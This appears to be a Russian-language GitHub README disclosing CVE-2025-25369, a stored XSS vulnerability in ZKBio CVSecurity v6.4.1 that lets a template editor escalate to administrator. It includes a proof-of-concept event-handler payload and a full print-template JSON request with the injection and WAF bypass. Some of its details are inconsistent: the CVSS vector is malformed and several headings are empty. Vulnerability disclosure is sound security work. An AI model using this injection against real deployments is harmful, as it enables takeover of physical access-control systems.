lkasjkasj/cve-2025-25369Документированная XSS-эксплойт для ZKBio CVSecurity v.6.4.1 с обходом WAF, позволяющая повышение привилегий от редактора шаблонов до администратора с помощью специально созданных шаблонов печати.
CVE-2025-25369: Уязвимость межсайтового скриптинга в ZKTeco ZKBio CVSecurity v.6.4.1
Уязвимость XSS была обнаружена в ZKBio CVSecurity v.6.4.1.
Злоумышленник мог воспользоваться этой уязвимостью, имея привилегии редактора шаблонов, и повысить свои привилегии до администратора.
Также был реализован обход встроенного WAF.
Это может привести к полной компрометации системы.
Оценка CVSS: 4.3 (Низкая)
Вектор: CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
Затронутый компонент:
Векторы атаки:
Полезная нагрузка:
onpointerdown="prompt(8)"
Все данные для запроса:
[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]
